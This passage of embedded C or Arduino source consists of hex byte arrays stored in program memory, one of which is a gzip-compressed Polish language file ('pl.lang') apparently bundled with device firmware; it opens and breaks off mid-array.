0x88, 0x40, 0x40, 0x55, 0x0c, 0x61, 0x47, 0x16, 0xab, 0x4a, 0xfa, 0xb0, 0x1b, 0xc9, 0xfb, 0xac, 0xe9, 0x1c, 0x17, 0x91, 0x9f, 0x74, 0x7b, 0x2c, 0x06, 0x01, 0x4c, 0x1c, 0xd3, 0xb4, 0x17, 0x29, 0xdd, 0x47, 0x85, 0x8f, 0x3d, 0x60, 0xe2, 0xbd, 0x20, 0x9f, 0xaf, 0x7b, 0x92, 0x35, 0x94, 0x3f, 0x56, 0x88, 0x84, 0x3b, 0x06, 0x90, 0xfb, 0x46, 0x0b, 0x59, 0x98, 0x35, 0x56, 0xeb, 0x9c, 0x38, 0x91, 0x36, 0x19, 0xb3, 0xcb, 0xe2, 0x8a, 0xa5, 0xb5, 0xe6, 0x9c, 0xca, 0x0f, 0x2a, 0xd2, 0xae, 0x94, 0x9c, 0xd1, 0x09, 0x14, 0x6e, 0x53, 0xdc, 0xe4, 0x02, 0x8b, 0x9d, 0xb2, 0x2f, 0x7e, 0xd1, 0x17, 0x16, 0x05, 0x26, 0xcc, 0x01, 0xab, 0x6c, 0xba, 0xe8, 0x5f, 0x94, 0x01, 0xec, 0x59, 0xd7, 0x26, 0x9a, 0xd5, 0xb0, 0xba, 0x46, 0x85, 0x9f, 0x75, 0xc5, 0x7f, 0x69, 0xfe, 0x97, 0x7e, 0x60, 0xe4, 0x64, 0x62, 0x56, 0x48, 0x89, 0x61, 0xb9, 0x10, 0xd4, 0x70, 0xcf, 0xec, 0x70, 0x5a, 0x14, 0xd7, 0x89, 0x98, 0x14, 0xcf, 0xaf, 0x16, 0x81, 0xa2, 0xb5, 0x75, 0x79, 0x28, 0x49, 0xab, 0xcc, 0x85, 0xfd, 0xc3, 0x27, 0x2e, 0x69, 0xdc, 0xe6, 0xbd, 0x83, 0x60, 0x13, 0xeb, 0x4e, 0xb6, 0x0a, 0xb5, 0x8d, 0x36, 0xb7, 0x8c, 0x60, 0x6e, 0x8e, 0x79, 0x5b, 0x79, 0x20, 0x3d, 0x6c, 0xda, 0xbc, 0x62, 0x7a, 0x86, 0x0a, 0x60, 0x6d, 0x3f, 0xca, 0x89, 0x82, 0x5a, 0x06, 0x19, 0x91, 0x48, 0x10, 0xd2, 0xca, 0x02, 0x0e, 0x5d, 0x80, 0x86, 0xb4, 0x15, 0x9a, 0x5d, 0x06, 0xbc, 0x99, 0x86, 0xb4, 0xca, 0xd4, 0xe4, 0x7c, 0x53, 0x6b, 0x08, 0xf4, 0x84, 0x3e, 0xb6, 0x9b, 0x8d, 0xd5, 0xd0, 0x8f, 0x8c, 0xa7, 0x8a, 0x94, 0xf6, 0x1d, 0x3c, 0x56, 0x94, 0x96, 0x55, 0x45, 0x49, 0x30, 0x2a, 0xed, 0x82, 0x1b, 0x9b, 0x73, 0x71, 0x4c, 0xc7, 0x1c, 0x66, 0x60, 0x1c, 0xb0, 0xd4, 0x9e, 0xd4, 0x91, 0xe6, 0x00, 0xd3, 0x77, 0x44, 0x8d, 0xc9, 0x5b, 0xf1, 0x1a, 0x53, 0x6b, 0x09, 0x9a, 0x4b, 0xb4, 0xa5, 0x78, 0xa2, 0xba, 0x11, 0x31, 0x95, 0xf7, 0xf4, 0x59, 0x59, 0x6c, 0xf4, 0x8e, 0x77, 0xb9, 0xe0, 0xd1, 0xf8, 0xe1, 0xae, 0xca, 0x52, 0xa4, 0xbf, 0xab, 0xa6, 0x86, 0x26, 0x79, 0xc5, 0xac, 0x52, 0xd2, 0xa5, 0x65, 0x6d, 0x0a, 0xbf, 0x5c, 0x48, 0xe8, 0x0b, 0x5e, 0x53, 0xf5, 0x68, 0xd7, 0xd6, 0xcd, 0x66, 0x91, 0x2d, 0x04, 0x08, 0x71, 0x69, 0xa3, 0x35, 0x01, 0xaf, 0xbc, 0xfd, 0x21, 0xf8, 0x4d, 0xfc, 0xde, 0x25, 0x9a, 0x8c, 0xb1, 0xa9, 0xc9, 0x4d, 0xaf, 0x3e, 0x71, 0x7b, 0xf5, 0xac, 0x25, 0x4e, 0xa6, 0x9a, 0xc8, 0x4a, 0x82, 0xa6, 0x5b, 0xa2, 0x07, 0x9a, 0xe4, 0x19, 0x3a, 0x4e, 0x49, 0xb5, 0x0f, 0xad, 0x74, 0x17, 0x5d, 0x20, 0xbc, 0x72, 0x3b, 0x6c, 0xb6, 0x6a, 0xda, 0xc4, 0xb3, 0xed, 0x87, 0x40, 0x88, 0x85, 0x24, 0x58, 0xbf, 0xbb, 0xe4, 0x6e, 0x8f, 0x17, 0x83, 0xdf, 0x5d, 0x5e, 0x5c, 0x32, 0xe9, 0x87, 0xe5, 0x9d, 0x43, 0xc9, 0xfc, 0xc8, 0x9d, 0xfc, 0x58, 0xb4, 0x1a, 0x97, 0x4c, 0x7c, 0xfa, 0x08, 0x05, 0x6a, 0x18, 0x53, 0x69, 0x0a, 0x8f, 0xa4, 0x70, 0xf4, 0x09, 0xe4, 0xfa, 0xf6, 0x7c, 0xa0, 0x6d, 0xbd, 0x2c, 0x97, 0xc6, 0xb9, 0x80, 0x50, 0x29, 0xa9, 0x6e, 0x41, 0xcd, 0xd0, 0x26, 0xe6, 0x79, 0xb1, 0x8c, 0x64, 0x76, 0x01, 0x39, 0x81, 0x35, 0x29, 0x41, 0x1d, 0x9d, 0x9d, 0xfb, 0x20, 0x3e, 0xb9, 0x28, 0x5d, 0xee, 0x47, 0x50, 0x04, 0x04, 0x6c, 0x0b, 0x47, 0xfe, 0xc2, 0xf1, 0x1b, 0x36, 0xcb, 0x99, 0xec, 0x92, 0x96, 0xba, 0x97, 0xf2, 0xa5, 0xae, 0xc7, 0xd2, 0x76, 0xb5, 0xd5, 0xda, 0x69, 0x34, 0xd7, 0x15, 0x31, 0xf6, 0x20, 0xc0, 0xb1, 0x8a, 0xe8, 0x47, 0xe5, 0x8e, 0x56, 0x39, 0x80, 0xe8, 0x4d, 0x38, 0x7b, 0xf7, 0xb5, 0x38, 0x73, 0x5b, 0x9a, 0x5f, 0xe7, 0x26, 0x58, 0x02, 0xe7, 0xe0, 0x7c, 0x59, 0xda, 0x2a, 0xc2, 0x86, 0xb9, 0x3d, 0x8a, 0xb2, 0x2a, 0xd8, 0x3f, 0xfd, 0x66, 0x6d, 0x7d, 0x3d, 0xb4, 0x6d, 0x62, 0x7f, 0x2c, 0xa3, 0x92, 0x65, 0x1b, 0xcd, 0x4b, 0xd6, 0x12, 0x80, 0x20, 0x74, 0x66, 0x93, 0xe4, 0xff, 0x10, 0x74, 0xda, 0xbb, 0x98, 0x93, 0x53, 0x75, 0xbb, 0x5d, 0xbb, 0x1d, 0xde, 0x68, 0x34, 0xdb, 0xa6, 0x59, 0x98, 0xe5, 0x7c, 0x33, 0x47, 0xcc, 0xa8, 0x54, 0x24, 0x7c, 0x0a, 0x29, 0x69, 0x77, 0xdd, 0x8e, 0x4c, 0xcb, 0x2d, 0xe6, 0x7b, 0x94, 0xee, 0x51, 0x42, 0x30, 0xba, 0x61, 0x3b, 0xab, 0x05, 0x22, 0x7a, 0x82, 0x14, 0x10, 0x47, 0x76, 0x65, 0x94, 0xa4, 0xd8, 0x29, 0x2a, 0xb6, 0x05, 0x62, 0x0d, 0x7c, 0x15, 0x9b, 0x9e, 0x4a, 0x72, 0x86, 0x8e, 0x55, 0xb2, 0xc0, 0x41, 0x31, 0xb8, 0x9c, 0x22, 0xdb, 0x44, 0x7e, 0xe2, 0x17, 0x00, 0xb6, 0x6d, 0x27, 0x87, 0x66, 0x2d, 0x88, 0xb9, 0xb4, 0x6a, 0xb1, 0x91, 0xa3, 0x16, 0xba, 0xe4, 0x88, 0x15, 0x63, 0x90, 0xc3, 0x6a, 0xe7, 0x61, 0x4e, 0x57, 0x4d, 0x76, 0xcf, 0xa7, 0x8a, 0xca, 0xab, 0xed, 0xcd, 0xea, 0x9f, 0xcb, 0xc5, 0x54, 0xd2, 0x7f, 0x4c, 0x34, 0xff, 0xdc, 0x91, 0xc1, 0x9c, 0x1c, 0x58, 0xba, 0xe5, 0x87, 0xc4, 0x67, 0xe3, 0x56, 0x3b, 0xd7, 0x2f, 0xd7, 0x0c, 0xe4, 0x12, 0x54, 0xc9, 0xf5, 0xa0, 0x8c, 0xd5, 0xea, 0x4c, 0x71, 0xa0, 0x96, 0x3b, 0x96, 0x22, 0xb9, 0xef, 0x14, 0x7f, 0x3d, 0x63, 0xc4, 0x7e, 0xcf, 0x2c, 0xe1, 0x46, 0xe8, 0x14, 0xf3, 0x4a, 0x74, 0xcb, 0x64, 0x5a, 0x85, 0x08, 0xff, 0xad, 0xd3, 0x7b, 0xa1, 0x8f, 0x7e, 0x15, 0x09, 0x13, 0x1c, 0x42, 0xd0, 0x5d, 0x4c, 0x05, 0xcb, 0x78, 0xad, 0xa8, 0xf2, 0x21, 0xf0, 0xc4, 0x0c, 0xc3, 0xcd, 0xfc, 0x9d, 0xd8, 0x5b, 0xca, 0xc5, 0xf9, 0xb0, 0x59, 0x9b, 0xe7, 0x0b, 0x67, 0x36, 0x0f, 0x0a, 0x0a, 0x00, 0x13, 0xdc, 0x59, 0xd4, 0x2c, 0x9f, 0xa8, 0xb9, 0x0c, 0x5c, 0x87, 0x96, 0x19, 0xb1, 0xc3, 0x9e, 0x76, 0x2b, 0x41, 0xe2, 0xb9, 0x12, 0xea, 0xae, 0xae, 0xdd, 0x6c, 0x94, 0x52, 0x48, 0xc9, 0x78, 0x2f, 0xbb, 0x48, 0xa0, 0xd3, 0xd8, 0x81, 0xd1, 0x4c, 0x5f, 0xd2, 0x1c, 0x65, 0x7e, 0x33, 0xe1, 0xcc, 0x4f, 0xc3, 0xd8, 0x93, 0xef, 0x99, 0xd6, 0xc1, 0x6b, 0xf0, 0xab, 0x91, 0xc0, 0x97, 0xe0, 0x4e, 0xb8, 0x5a, 0x2e, 0xbe, 0x79, 0x11, 0xab, 0xf0, 0xfa, 0xf2, 0x76, 0x6d, 0x63, 0xa3, 0x55, 0xba, 0xc9, 0xf2, 0x8d, 0xeb, 0xd7, 0xae, 0x2d, 0x67, 0x41, 0x10, 0x68, 0x62, 0xcf, 0xec, 0x4d, 0x3b, 0xb2, 0x45, 0x00, 0xe6, 0xf8, 0xbb, 0x6e, 0xea, 0xc4, 0xa5, 0x20, 0xb1, 0xbb, 0x30, 0xec, 0x11, 0x66, 0x64, 0x0f, 0x83, 0x0b, 0x1f, 0xfc, 0xfa, 0x97, 0x17, 0x83, 0xdf, 0x5c, 0x7d, 0xdf, 0x7f, 0x7b, 0xab, 0xfa, 0xe9, 0xda, 0x4d, 0x53, 0x55, 0xd0, 0xe2, 0x8e, 0x19, 0x5c, 0x67, 0xa2, 0xb0, 0xa9, 0xc4, 0x69, 0x3e, 0x94, 0xb6, 0xf2, 0xd9, 0x24, 0x3e, 0x5a, 0x0e, 0x7e, 0x11, 0xf0, 0xfd, 0x89, 0xab, 0x1f, 0xf1, 0x87, 0xb7, 0xc9, 0x1f, 0xbe, 0x33, 0x13, 0x71, 0x7a, 0x95, 0x1e, 0xfd, 0x2c, 0x4f, 0xc0, 0xda, 0x95, 0x1b, 0x4c, 0xc0, 0x6f, 0xaf, 0xfc, 0x6a, 0x81, 0x8b, 0x05, 0x20, 0x83, 0x4e, 0x79, 0x3e, 0x16, 0x82, 0x9c, 0x42, 0xe6, 0xa5, 0x90, 0x3b, 0x3f, 0x4a, 0xc3, 0x4c, 0x9f, 0x99, 0x26, 0xad, 0x71, 0x91, 0xbe, 0x1d, 0xd0, 0x23, 0xa8, 0x5a, 0xa4, 0xe8, 0xd3, 0x20, 0xa9, 0x10, 0x66, 0x4d, 0xa0, 0xd0, 0x24, 0x39, 0x07, 0x61, 0x61, 0x1a, 0x2d, 0x30, 0x77, 0xaa, 0x63, 0x9d, 0x02, 0x17, 0x6e, 0x07, 0xdd, 0xcd, 0x12, 0x6e, 0x53, 0x67, 0x3e, 0xf5, 0x79, 0x51, 0x2d, 0xb7, 0x7f, 0xb8, 0xa8, 0xdc, 0x42, 0x4c, 0x40, 0xff, 0xbc, 0x2b, 0x29, 0x3f, 0x54, 0x6a, 0xfc, 0xe2, 0x8f, 0x26, 0x33, 0x9f, 0x8d, 0x1c, 0x48, 0x7a, 0x93, 0xf9, 0xa8, 0x05, 0xc8, 0x08, 0x25, 0x4e, 0xbd, 0xef, 0xf4, 0xbc, 0xed, 0x47, 0xc5, 0xd3, 0x82, 0xa6, 0x03, 0x13, 0x43, 0x50, 0x66, 0x3f, 0xc0, 0x41, 0xdd, 0xef, 0xcf, 0x79, 0xc1, 0x05, 0x5f, 0x1e, 0xe5, 0x10, 0xa2, 0xd8, 0xa7, 0xb0, 0xa3, 0x8a, 0x8c, 0x3e, 0xe2, 0x21, 0x07, 0x35, 0xb6, 0x6a, 0xf5, 0xf7, 0xd1, 0xb6, 0x6b, 0xa9, 0x47, 0xc7, 0xd9, 0x45, 0x14, 0xbd, 0x89, 0x20, 0x79, 0x0d, 0x94, 0xdd, 0x73, 0xef, 0x47, 0x8c, 0x54, 0x01, 0x68, 0x60, 0x9c, 0xd9, 0x88, 0x13, 0xa4, 0x58, 0x2e, 0x51, 0x07, 0x30, 0x14, 0xdb, 0xe9, 0xc5, 0xa9, 0x27, 0x94, 0xec, 0x2a, 0x56, 0x47, 0x25, 0x3e, 0x62, 0xc1, 0xa4, 0xa7, 0xed, 0xe4, 0xf1, 0x6f, 0xb3, 0x58, 0x6e, 0x2b, 0x39, 0x77, 0xdc, 0x78, 0xa1, 0x24, 0xbd, 0x5f, 0xcc, 0x2a, 0xb9, 0xde, 0x7c, 0x34, 0x13, 0x07, 0x59, 0xb3, 0xc2, 0x0e, 0x44, 0x3a, 0x12, 0xdd, 0xd2, 0x17, 0xe5, 0x09, 0x57, 0x7b, 0xf0, 0x4b, 0xb9, 0x99, 0x4a, 0x21, 0xaf, 0xf3, 0x52, 0x9f, 0xb3, 0x8d, 0x46, 0x73, 0x2d, 0xdc, 0x26, 0xe6, 0xcc, 0x1c, 0xfa, 0x6b, 0xaf, 0x71, 0x06, 0xaf, 0x3e, 0xe5, 0x32, 0x01, 0x43, 0x46, 0xaf, 0xa3, 0x10, 0x9b, 0x4a, 0x5e, 0xfb, 0x2f, 0x73, 0x09, 0x34, 0xad, 0x16, 0x73, 0xb3, 0x28, 0x7f, 0x3d, 0xa4, 0xe2, 0x9a, 0x21, 0x97, 0xca, 0x7b, 0x38, 0x47, 0xb9, 0x1b, 0x98, 0xfe, 0x00, 0xb1, 0x76, 0x80, 0x9b, 0x33, 0xb0, 0x79, 0x7d, 0x1d, 0xc3, 0x4f, 0x94, 0x49, 0xfe, 0xc4, 0xc8, 0x1d, 0x69, 0x94, 0x4f, 0x8c, 0x6c, 0x2f, 0x5a, 0xba, 0xf8, 0x2f, 0xbd, 0xc9, 0x08, 0x7a, 0x13, 0x3d, 0xa7, 0x2f, 0xf1, 0x22, 0x9b, 0xde, 0xc8, 0x25, 0xb3, 0xb2, 0x8b, 0x54, 0x28, 0xf4, 0x10, 0x7b, 0x38, 0xc2, 0xe4, 0x46, 0xa6, 0x7a, 0x77, 0x69, 0xee, 0x05, 0x0f, 0x8f, 0xb5, 0x09, 0x0e, 0x1b, 0xdb, 0x61, 0x1c, 0xb7, 0x95, 0x45, 0x40, 0xce, 0x22, 0xee, 0xfd, 0x09, 0x02, 0xe3, 0x6d, 0xd0, 0x81, 0xe5, 0xa5, 0xa0, 0xb7, 0x24, 0x9b, 0x8a, 0x89, 0xe6, 0x95, 0xb0, 0x10, 0x5c, 0x7e, 0xe7, 0x1d, 0x1f, 0x0a, 0x89, 0x07, 0xb4, 0xb6, 0xc3, 0xa6, 0x5c, 0x50, 0x28, 0xb3, 0x8b, 0x37, 0xf3, 0x57, 0xb8, 0x64, 0x8c, 0x5e, 0x57, 0x07, 0x5e, 0x31, 0x91, 0xe6, 0x4f, 0x21, 0x12, 0xfa, 0x0d, 0xab, 0x42, 0x65, 0x96, 0xc1, 0xae, 0xa1, 0xe9, 0xe9, 0xe6, 0x42, 0xaf, 0xd0, 0xfe, 0x41, 0x58, 0x6d, 0x69, 0xcb, 0xe3, 0x4b, 0xb9, 0xda, 0x80, 0x88, 0x01, 0x19, 0xc9, 0xad, 0xc4, 0x7c, 0x2b, 0x7b, 0xce, 0xc1, 0x9c, 0x4e, 0x0c, 0xab, 0x72, 0xd7, 0x51, 0x0e, 0xc8, 0xb7, 0xc4, 0x0c, 0xd6, 0x8b, 0x9d, 0x41, 0x2c, 0xf7, 0xf2, 0xf4, 0x0a, 0x62, 0x51, 0xdf, 0x68, 0x10, 0x9f, 0x6a, 0xef, 0x13, 0x4b, 0x4a, 0x07, 0xc3, 0x4e, 0x77, 0xf2, 0xc4, 0x0c, 0x40, 0xf8, 0x5c, 0x9f, 0x69, 0x69, 0xd0, 0xba, 0xa5, 0xf9, 0xe3, 0xf2, 0x2a, 0x35, 0xa9, 0x78, 0x5b, 0x7a, 0x5c, 0xcb, 0x02, 0x05, 0x7e, 0x96, 0x6b, 0x8e, 0x23, 0xa7, 0x6c, 0xe5, 0xb6, 0x15, 0x2e, 0x7d, 0x1c, 0xa7, 0x29, 0x7d, 0xe6, 0xf8, 0xda, 0x99, 0x18, 0x97, 0xd1, 0x7d, 0xdd, 0xbd, 0x52, 0x63, 0x08, 0xcf, 0x95, 0x16, 0x86, 0xba, 0x76, 0xf3, 0x56, 0x58, 0xc9, 0xf6, 0x8b, 0x4d, 0x4b, 0xb6, 0x5b, 0x60, 0x47, 0xe6, 0xed, 0xa6, 0xdd, 0x29, 0x97, 0x19, 0xf4, 0xea, 0x9e, 0x0d, 0xca, 0xdc, 0xe3, 0x3e, 0xeb, 0xc4, 0x82, 0xc3, 0x6c, 0x54, 0x37, 0x5b, 0x61, 0xa5, 0x30, 0xb5, 0xf2, 0x2e, 0x8a, 0x08, 0x0d, 0x9c, 0x48, 0x2f, 0x2d, 0x2d, 0x31, 0xb9, 0x23, 0x29, 0x58, 0xae, 0x78, 0xfe, 0x3b, 0x90, 0x6b, 0x56, 0x73, 0x0a, 0x1d, 0xb3, 0x6d, 0xee, 0x46, 0xa6, 0xee, 0x40, 0xac, 0xdd, 0x57, 0x7e, 0x40, 0xf4, 0x11, 0xc7, 0x07, 0xf1, 0x72, 0x33, 0x30, 0x8f, 0x03, 0xc5, 0x8e, 0x07, 0x1c, 0x64, 0xa5, 0x7d, 0xd9, 0x03, 0x04, 0xf3, 0x03, 0x21, 0x3a, 0xb8, 0x89, 0x8d, 0xd2, 0x59, 0xd0, 0x82, 0x42, 0xa7, 0x7a, 0x71, 0x21, 0x3b, 0xd6, 0x49, 0x74, 0x22, 0x14, 0xe7, 0x82, 0x91, 0xd7, 0x59, 0xde, 0xd7, 0x02, 0x6c, 0x8a, 0xd2, 0x41, 0x94, 0x84, 0xcb, 0x2c, 0x67, 0x25, 0x70, 0xdf, 0x4a, 0x64, 0x60, 0xf9, 0xe1, 0x1f, 0xb4, 0x99, 0x96, 0xa0, 0xab, 0x9c, 0x18, 0x37, 0x0d, 0xb4, 0xe2, 0x97, 0x66, 0x68, 0x8c, 0x69, 0x6c, 0xb6, 0x99, 0x5c, 0xd7, 0xc4, 0xbc, 0xfa, 0x81, 0x2b, 0x9b, 0x42, 0x6a, 0xd0, 0x00, 0xe3, 0x9a, 0xd0, 0xc8, 0x8c, 0x5f, 0x6c, 0x9c, 0x9b, 0x73, 0xf1, 0xc1, 0x6f, 0x2d, 0xe7, 0x5b, 0x81, 0xdc, 0xac, 0x6f, 0xdd, 0x08, 0x9b, 0xdc, 0x38, 0x39, 0x33, 0x92, 0x7a, 0x1b, 0x15, 0xbe, 0xbe, 0x7e, 0x78, 0x64, 0x28, 0x99, 0x0d, 0x0c, 0x6c, 0xa9, 0xa6, 0xff, 0x36, 0x80, 0x4a, 0x22, 0xbe, 0x63, 0x3b, 0x52, 0xd7, 0xee, 0x42, 0xe7, 0x63, 0x58, 0xd8, 0x14, 0xc5, 0xda, 0xd9, 0x9d, 0xb0, 0xb3, 0x92, 0xe2, 0xa1, 0x9c, 0xa0, 0xf7, 0xfb, 0x28, 0x5a, 0x6b, 0xfd, 0xc8, 0xf6, 0xda, 0xcd, 0xae, 0xc6, 0x4a, 0xb1, 0x7e, 0xee, 0xfc, 0x5b, 0x7f, 0xfd, 0x1f, 0x31, 0xb3, 0xdc, 0xad, 0xbf, 0x30, 0x00, 0x00};\nconst char pllang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x70, 0x6c, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xbd, 0x59, 0x4d, 0x6f, 0x14, 0x49, 0x12, 0x3d, 0xef, 0xfc, 0x8a, 0xc4, 0x27, 0x90, 0x1a, 0x0f, 0x30, 0x3b, 0x23, 0x76, 0xa4, 0x3d, 0x30, 0x60, 0x76, 0x0d, 0x03, 0x58, 0xd8, 0x88, 0x15, 0x42, 0xb2, 0xb2, 0xab, 0xd2, 0x76, 0xd6, 0x57, 0x96, 0xea, 0x83, 0xda, 0xaa, 0xd5, 0x5e, 0xac, 0xb1, 0xf8, 0x0d, 0x88, 0x0b, 0xff, 0x81, 0xdb, 0x0c, 0x27, 0xe8, 0xfe, 0x5f, 0xfb, 0x5e, 0x64, 0x56, 0x77, 0x57, 0xdb, 0xd6, 0x5e, 0x56, 0x3b, 0xd2, 0xcc, 0xb8, 0xb2, 0xb2, 0x22, 0x22, 0x23, 0x23, 0x5e, 0xbc, 0x88, 0xfe, 0xd7, 0x77, 0x0a, 0xff, 0xec, 0x64, 0xba, 0x38, 0xdd, 0xf9, 0x59, 0xed, 0x94, 0xd9, 0xce, 0xcc, 0xaf, 0x74, 0xba, 0x2a, 0xac, 0x5f, 0x7c, 0x71, 0x78, 0xf4, 0xf2, 0xcd, 0xde, 0xf2, 0x8f, 0xbd, 0xe7, 0xfb, 0x7b, 0xe3, 0xeb, 0xd8, 0xd6, 0x51, 0xa6, 0x6d, 0x6e, 0x2a, 0xee, 0x38, 0x32, 0x85, 0x2a, 0x2b, 0x97, 0x98, 0xb4, 0x51, 0x89, 0xa9, 0x1b, 0x15, 0xbb, 0xce, 0xc5, 0x26, 0x57, 0xa5, 0xcb, 0xfb, 0x7a, 0x79, 0xde, 0xaa, 0xb4, 0xf9, 0xf6, 0xb9, 0xea, 0x15, 0xff, 0x5e, 0x7e, 0xe9, 0xf1, 0x5e, 0x45, 0x26, 0xfb, 0xf6, 0xb9, 0x53, 0x0d, 0xb6, 0xbb, 0xae, 0x8f, 0xce, 0x94, 0x55, 0x26, 0x6e, 0x53, 0x1d, 0xf5, 0x49, 0x81, 0xc7, 0xdd, 0xb7, 0xc5, 0x83, 0xc2, 0xaa, 0xbd, 0xc3, 0x83, 0xfb, 0xf7, 0x7e, 0xfa, 0x69, 0xa6, 0x34, 0x1e, 0x12, 0x73, 0xea, 0xd4, 0xe1, 0xa3, 0xa7, 0xaa, 0xb0, 0x46, 0xcd, 0xfb, 0xe5, 0x79, 0x0f, 0xad, 0x83, 0x19, 0x0a, 0x1d, 0x0d, 0xae, 0x30, 0x90, 0x30, 0xcc, 0x5b, 0xa8, 0xd6, 0xf8, 0x1b, 0x1a, 0x1a, 0x9d, 0x5a, 0xc8, 0xf5, 0x8a, 0x76, 0xd5, 0x33, 0x77, 0xba, 0xb8, 0x50, 0x5d, 0x5f, 0x37, 0x8b, 0x0f, 0x25, 0x36, 0x2d, 0xde, 0x7f, 0xfd, 0x34, 0x5f, 0x9e, 0x2f, 0x3e, 0xc4, 0xfd, 0x8d, 0xb7, 0xc5, 0xdb, 0xe2, 0x15, 0x0c, 0xeb, 0x74, 0xa2, 0xa0, 0xa3, 0xe9, 0xb3, 0xd4, 0xa9, 0x42, 0xab, 0xba, 0x73, 0x14, 0x51, 0x5b, 0x13, 0x59, 0x2d, 0x36, 0xb6, 0xd5, 0xb0, 0xb8, 0x88, 0x07, 0x53, 0xf0, 0x79, 0xe3, 0x3b, 0x58, 0xa2, 0x3b, 0x1b, 0x2f, 0xcf, 0xfd, 0x61, 0x2a, 0x9d, 0x9b, 0x54, 0xbd, 0xb6, 0xb7, 0x1f, 0x5b, 0xd5, 0xa9, 0xba, 0xd1, 0x45, 0xac, 0xab, 0x78, 0x80, 0xdd, 0xfb, 0x7b, 0x7b, 0x7b, 0xea, 0xfe, 0x9d, 0x7b, 0xbb, 0x77, 0xef, 0x42, 0x9c, 0x9c, 0x24, 0x73, 0x69, 0x9b, 0x18, 0x39, 0x22, 0x9f, 0x07, 0x9d, 0x2e, 0xcf, 0xbf, 0x7d, 0x8e, 0xb4, 0x5a, 0x7e, 0xd1, 0x31, 0x9d, 0xa1, 0xa2, 0x61, 0xf1, 0x01, 0x7e, 0x6a, 0x32, 0xdb, 0xb9, 0xe5, 0xc7, 0xc8, 0xc2, 0x3b, 0x87, 0x54, 0x18, 0x2f, 0x7f, 0x57, 0x95, 0x39, 0x6d, 0x33, 0x1d, 0x41, 0x00, 0x57, 0x70, 0xf4, 0x4e, 0xcc, 0xce, 0x55, 0x5a, 0xe9, 0xa4, 0x15, 0x0f, 0xc5, 0xde, 0x75, 0x74, 0x7d, 0x64, 0x4d, 0xbe, 0x4b, 0xb3, 0x0f, 0x2a, 0x57, 0x43, 0xea, 0xd7, 0x4f, 0x54, 0xe9, 0xe2, 0x02, 0x72, 0x71, 0x4e, 0x2e, 0xd0, 0x75, 0xdc, 0x1e, 0x6e, 0xb4, 0x55, 0x89, 0x86, 0x37, 0xde, 0xee, 0x24, 0x3a, 0xc7, 0x7d, 0xbf, 0xdd, 0x99, 0xa9, 0x06, 0xd7, 0xa7, 0x97, 0xe7, 0xa9, 0xeb, 0x2c, 0xe4, 0xe1, 0x96, 0xe3, 0x4e, 0xc3, 0x56, 0x31, 0x00, 0x87, 0xec, 0x7a, 0x3a, 0x7d, 0x2a, 0x04, 0xae, 0x7a, 0x62, 0x96, 0x1f, 0x33, 0xcb, 0x8f, 0x2b, 0x37, 0xb7, 0xf5, 0x20, 0x72, 0xbc, 0xab, 0x4b, 0x97, 0xea, 0x81, 0x3e, 0x58, 0x7e, 0x31, 0xe2, 0x83, 0x5c, 0xd7, 0x03, 0x56, 0x93, 0xc5, 0x07, 0x38, 0x1e, 0x7f, 0xa8, 0x88, 0x9b, 0x3a, 0x38, 0x72, 0x79, 0x0e, 0xc1, 0xab, 0x70, 0xc3, 0x51, 0x0e, 0xda, 0x79, 0x66, 0x53, 0xde, 0x3a, 0xbe, 0x6b, 0x2a, 0x43, 0xff, 0x28, 0x0a, 0xce, 0xd5, 0xdc, 0x0c, 0x1b, 0xf7, 0x42, 0x73, 0xba, 0x3e, 0xd1, 0xcb, 0x8f, 0xd8, 0x89, 0xfb, 0x53, 0x4e, 0x22, 0x47, 0x8b, 0x52, 0x6f, 0xd2, 0xda, 0xa2, 0x38, 0xd3, 0x2a, 0x85, 0xdc, 0x02, 0x2e, 0x59, 0xbc, 0x9f, 0x31, 0x72, 0x35, 0xce, 0x65, 0xbf, 0xcf, 0xda, 0xb9, 0x2a, 0xf9, 0x3d, 0x02, 0x67, 0xe8, 0xc3, 0x15, 0x8a, 0xb9, 0xf5, 0xa0, 0xa3, 0xb6, 0x48, 0x5b, 0xf9, 0xb6, 0xc3, 0xfe, 0xba, 0x90, 0xcb, 0x52, 0xb6, 0x68, 0x4c, 0x46, 0x27, 0xe8, 0xac, 0x30, 0x09, 0x64, 0x95, 0x6e, 0x79, 0x6e, 0xa2, 0x21, 0xbc, 0x86, 0x05, 0x34, 0x16, 0xf7, 0x9b, 0x2c, 0x2e, 0x22, 0x93, 0x40, 0x66, 0xa7, 0xb3, 0x94, 0x87, 0xc8, 0x4c, 0x59, 0x43, 0xc9, 0x18, 0x3f, 0x08, 0xa8, 0xc7, 0xd6, 0xdf, 0x1e, 0x8e, 0x02, 0x0b, 0x64, 0x77, 0x71, 0xe2, 0xaa, 0x1c, 0x01, 0x80, 0x0f, 0xe2, 0xce, 0x1a, 0xc4, 0xc4, 0xcf, 0x48, 0xd3, 0x3f, 0x6d, 0xe4, 0xe8, 0xed, 0x79, 0xdb, 0x34, 0xae, 0x60, 0xaa, 0x1e, 0x20, 0x1c, 0xa2, 0xa1, 0xa7, 0x1f, 0x91, 0x9f, 0x50, 0x5e, 0xb9, 0xa1, 0xcd, 0xad, 0x7f, 0x84, 0x87, 0xfb, 0xe5, 0x97, 0x7a, 0x30, 0x6b, 0xa1, 0x46, 0x44, 0x55, 0x26, 0x73, 0x3a, 0x1e, 0xbf, 0xc7, 0xd1, 0xe2, 0x36, 0x91, 0x17, 0x75, 0xa4, 0x45, 0xec, 0x61, 0xaa, 0x0b, 0x7f, 0x05, 0x7e, 0xb9, 0xb6, 0x71, 0x2d, 0xeb, 0x87, 0xfb, 0x8f, 0x6a, 0x59, 0xd2, 0x4d, 0xa3, 0xa3, 0x54, 0x16, 0x1f, 0x30, 0x33, 0xfd, 0x3e, 0xd3, 0x34, 0x40, 0x19, 0x59, 0x7d, 0x85, 0x53, 0x76, 0x72, 0x31, 0xf2, 0x8a, 0x16, 0x70, 0x79, 0x7f, 0x6a, 0x09, 0x97, 0x8f, 0xeb, 0xd2, 0x6b, 0xdd, 0x7f, 0xfe, 0xf8, 0xc5, 0xcb, 0x67, 0x0f, 0x1e, 0x3e, 0xd9, 0xc3, 0x83, 0x28, 0xc9, 0x32, 0xae, 0xbf, 0x86, 0xd3, 0xea, 0x26, 0x0d, 0xc6, 0x44, 0x67, 0xba, 0x28, 0x8c, 0xbc, 0x78, 0xaa, 0x0b, 0x9c, 0xd4, 0x7b, 0xc7, 0xbc, 0xb3, 0x91, 0x11, 0xcd, 